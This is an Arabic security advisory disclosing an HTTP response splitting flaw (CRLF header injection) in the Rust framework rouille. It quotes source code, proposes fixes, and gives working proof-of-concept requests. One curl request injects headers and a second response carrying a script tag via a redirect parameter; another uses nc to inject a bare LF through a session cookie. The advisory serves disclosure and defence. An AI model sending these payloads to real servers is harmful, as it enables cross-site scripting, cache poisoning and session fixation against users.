
استشارة أمنية: HTTP Response Splitting عبر قيم ترويسة استجابة غير مُتحقَّقة (rouille)
معرّف CVE المخصص: CVE-2026-66746
تكتب rouille قيم ترويسات الاستجابة إلى العميل دون التحقق منها من وجود حرف إرجاع السطر أو تغذية السطر. أي تطبيق يضع نصًا متأثرًا من المهاجم في قيمة ترويسة، فإنه يُصدر ترويسات إضافية، أو استجابة HTTP ثانية بالكامل، على الشبكة.
خاصيتان في rouille تجعلان هذا الأمر قابلًا للوصول في الكود العادي. Request::get_param يقوم بفك ترميز النسب المئوية، لذا فإن %0d%0a في سلسلة الاستعلام يتحول إلى CRLF حقيقي. وsession::session تنسخ قيمة Cookie الخاصة بالعميل نفسه إلى Set-Cookie دون أي تحقق على الإطلاق.
كل حزمة Rust أخرى مستخدمة على نطاق واسع ترفض هذا على مستوى النوع: http::HeaderValue::from_str يُرجع InvalidHeaderValue عند وجود CR و LF، ولهذا السبب فإن hyper و axum و actix-web و warp ليست معرّضة بنفس الطريقة.
رابط المستودع: https://github.com/tomaka/rouille
| أول إصدار متأثر | 0.4.0 (2016-12-14) لمسار ترويسة الاستجابة أدناه |
| آخر إصدار متأثر | 3.6.2 (2023-04-24)، الإصدار الحالي |
| أُصلح في | لا يوجد إصدار مُصلَح وقت كتابة هذا التقرير |
الإصدارات التي سبقت 0.4.0 تُرسل الاستجابات عبر مسار كود مختلف لم يتم فحصه، لذا لا يُدّعى بشأنها أي شيء في الاتجاهين. انعكاس session::session الموصوف تحت المسار B موجود منذ 0.3.2 (2016-12-02) فصاعدًا.
CWE-113 (تحييد غير صحيح لتسلسلات CRLF في ترويسات HTTP)، وهي حالة خاصة من CWE-93 (حقن CRLF).
درجة CVSS 4.0 الأساسية 5.3 (متوسطة)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
يتطلب المسار A مهاجمًا عن بُعد غير مصادق عليه، وضحية تتبع رابطًا يوفره المهاجم. يحتاج المهاجم إلى أن يضع التطبيق أي سلسلة مشتقة من الطلب في ترويسة استجابة. إعادة التوجيه إلى معامل استعلام next أو return_to هي الحالة الشائعة.
يتطلب المسار B فقط أن يستدعي التطبيق session::session ويقرأ معرّف الجلسة. يتحكم المهاجم في ترويسة Cookie الخاصة به، لذا فهذا في حد ذاته ضرر ذاتي. يتحول إلى هجوم ضد الآخرين عندما يخزّن cache مشترك الاستجابة المنقسمة، أو عندما يُدمج مع طريقة أخرى لتعيين ملف تعريف ارتباط في متصفح الضحية.
rouille/src/lib.rs، الأسطر من 624 إلى 640، يمرر القيم مباشرة:
624 for (key, value) in rouille_response.headers {
625 if key.eq_ignore_ascii_case("Content-Length") {
626 continue;
627 }
628
629 if key.eq_ignore_ascii_case("Upgrade") {
630 upgrade_header = value;
631 continue;
632 }
633
634 if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635 {
636 response.add_header(header);
Header::from_bytes يتحقق فقط من أن البايتات هي ASCII، و CR و LF هما بايتات ASCII. tiny_http-0.12.0/src/common.rs، الأسطر من 166 إلى 172:
166 pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171 let header = HeaderField::from_bytes(header).or(Err(()))?;
172 let value = AsciiString::from_ascii(value).or(Err(()))?;
ثم تُكتب القيمة دون أي تهريب.
tiny_http-0.12.0/src/response.rs، الأسطر من 99 إلى 104:
99 for header in headers.iter() {
100 writer.write_all(header.field.as_str().as_ref())?;
101 write!(&mut writer, ": ")?;
102 writer.write_all(header.value.as_str().as_ref())?;
103 write!(&mut writer, "\r\n")?;
104 }
Request::get_param يفك ترميز هروب النسب المئوية، لذا يستقبل المتصل أحرف تحكم حقيقية. rouille/src/lib.rs، الأسطر من 928 إلى 932:
928 .map(|value| {
929 percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930 .decode_utf8_lossy()
931 .into_owned()
932 })
rouille/src/session.rs يأخذ المفتاح من ملف تعريف ارتباط العميل في السطر 59 ويدرجه في ترويسة الاستجابة في الأسطر من 75 إلى 81:
59 key: cookie.into(),
...
75 let header_value = format!(
76 "{}={}; Max-Age={}; Path=/; HttpOnly",
77 cookie_name, session.key, timeout_s
78 );
79 response
80 .headers
81 .push(("Set-Cookie".into(), header_value.into()));
الخطوة 1. شغّل خادمًا يعيد التوجيه إلى معامل استعلام.
use rouille::Response;
fn main() {
rouille::start_server("127.0.0.1:8002", |request| {
let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
Response::redirect_303(next)
});
}
الخطوة 2. أرسل الطلب مع %0d%0a في المعامل.
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'
النتيجة. تصل X-Injected كترويسة مستقلة:
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0
الخطوة 3. مدّد الحمولة إلى ما بعد نهاية الترويسات لإصدار استجابة ثانية كاملة.
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'
النتيجة. طلب واحد، استجابتان كاملتان. الثانية تحمل سطر حالة ونوع محتوى وجسمًا يختاره المهاجم:
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
<script>alert(1)</script>
الخطوة 1. شغّل خادمًا يستخدم أسلوب الجلسة الموثق.
use rouille::{session, Response};
fn main() {
rouille::start_server("127.0.0.1:8006", |request| {
session::session(request, "SID", 3600, |s| {
Response::text(format!("session id: {}", s.id()))
})
});
}
الخطوة 2. أرسل ملف تعريف ارتباط تحتوي قيمته على LF مجرد. \n أدناه هو تغذية سطر واحدة، و\r\n هو CRLF.
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006
النتيجة. تخرج القيمة من Set-Cookie إلى سطر خاص بها:
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly
للمسار B ثلاثة قيود جديرة بالملاحظة. فقط LF المجرد يمر، لأن CRLF كان سينهي سطر الترويسة في tiny_http، لذا يجب على العميل أو الـ cache معاملة LF المنفرد كمُنهِ للسطر. كل ما بعد نقطة الحقن لا يزال يحمل لاحقة ; Max-Age=3600; Path=/; HttpOnly من نفس format!، لذا فإن البدائية هي ترويسة ذات لاحقة ثابتة في نهايتها وليست ترويسة عشوائية نظيفة. والمهاجم يتحكم فقط في ملف تعريف الارتباط الخاص به. المسار A ليس لديه أي من هذه القيود.
تنفيذ سكربت في سياق أمان الأصل، وتسميم الـ cache عندما يخزّن cache مشترك الاستجابة المحقونة مقابل عنوان URL الخاص بالضحية، وتثبيت الجلسة عبر Set-Cookie محقون، وتجاوز ترويسات الأمان مثل CSP أو CORS. ولأن المسار A يُنتج CRLF حقيقيًا، فإن كل عميل و cache يقسم عنده.
تحقق من قيم الترويسات في Server::process قبل تمريرها إلى tiny_http، في rouille/src/lib.rs حول السطر 634:
fn header_value_is_safe(v: &str) -> bool {
!v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}
أعد 500 للاستجابة بأكملها بدلًا من إسقاط الترويسة المخالفة، بحيث يكون الفشل مرئيًا بدلًا من تغيير الاستجابة بصمت.
تحقق أيضًا من مفتاح الجلسة في session::session: ارفض قيمة ملف تعريف ارتباط ليست [A-Za-z0-9]+ وولّد معرّفًا جديدًا بدلًا من ذلك. التحقق في Response::with_additional_header وwith_unique_header ومنشئات redirect_* سيكشف الخطأ في موقع الاستدعاء، حيث يمكن لمؤلف التطبيق التعامل معه.